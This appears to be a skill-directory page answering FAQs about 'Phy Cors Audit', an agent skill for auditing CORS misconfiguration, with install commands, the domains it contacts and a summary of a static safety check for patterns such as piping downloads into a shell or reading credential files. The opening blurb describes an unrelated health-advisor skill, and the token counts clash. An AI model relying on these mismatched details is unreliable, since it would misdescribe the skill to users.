    Runs four advisor roles, a fitness coach, nutritionist, data analyst and TCM practitioner, to build a health profile and track workouts, diet and wellness over time.

    2.2k GitHub stars~4.4k tokensUpdated 2 mo ago
    Auto-check passed

Works with

Categories

Questions about Phy Cors Audit

What does Phy Cors Audit do?

CORS (Cross-Origin Resource Sharing) misconfiguration auditor. Phy Cors Audit is an agent skill from LeoYeAI/openclaw-master-skills. CORS (Cross-Origin Resource Sharing) misconfiguration auditor.

When should I use Phy Cors Audit?

Phy Cors Audit fits situations like: CORS misconfiguration; access-Control-Allow-Origin.

How do I install Phy Cors Audit in Claude Code?

Run `npx skills add LeoYeAI/openclaw-master-skills --skill phy-cors-audit -a claude-code`. Or copy the skill folder (skills/phy-cors-audit in LeoYeAI/openclaw-master-skills) into .claude/skills/phy-cors-audit in your project. Claude Code loads it when a task matches its description.

How do I install Phy Cors Audit in Codex?

Run `npx skills add LeoYeAI/openclaw-master-skills --skill phy-cors-audit -a codex`. Or copy the skill folder (skills/phy-cors-audit in LeoYeAI/openclaw-master-skills) into .agents/skills/phy-cors-audit in your project. Codex loads it when a task matches its description.

Can I use Phy Cors Audit in Cursor, Gemini CLI or GitHub Copilot?

Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add LeoYeAI/openclaw-master-skills --skill phy-cors-audit -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/phy-cors-audit, .gemini/skills/phy-cors-audit, .github/skills/phy-cors-audit and .opencode/skills/phy-cors-audit in your project.

What does Phy Cors Audit need to run?

Going by SKILL.md and its folder, Phy Cors Audit needs the command-line tools its instructions call (curl) and credentials named WILDCARD_WITH_CREDENTIALS and CORS_ALLOW_CREDENTIALS. Our summary lists: Python 3.

Does Phy Cors Audit access the network?

SKILL.md names 4 domains. In commands or code: completely-unrelated.com, canlah.ai, github.com and clawhub.ai; the agent is likely to contact these when it follows the instructions. This is read from the text; nothing was executed.

Is Phy Cors Audit safe to install?

Our automated static check of SKILL.md found no risky patterns, such as piping downloads into a shell, reading credential files or hidden Unicode. It is not a guarantee. Review the folder before installing.

What licence does Phy Cors Audit use?

Phy Cors Audit is published under the Apache-2.0 licence (declared in SKILL.md). It allows redistribution, so the full SKILL.md is shown on this page.

How many tokens does Phy Cors Audit use?

About 6.7k tokens (SKILL.md is roughly 27k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full.

What are the alternatives to Phy Cors Audit?

Skills that share tags, products or a category with Phy Cors Audit: Django Access Review (getsentry/skills, 1k stars), Django Security (affaan-m/ECC, 276k stars), Django Security (affaan-m/ECC, 276k stars) and Django Security (xu-xiang/everything-claude-code-zh, 2k stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.

Who maintains Phy Cors Audit?

LeoYeAI (a GitHub user) maintains it in LeoYeAI/openclaw-master-skills, which has 2,161 GitHub stars. The repository holds 1,235 skills in this directory. The repository was last updated on July 20, 2026.

Source: LeoYeAI/openclaw-master-skills on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.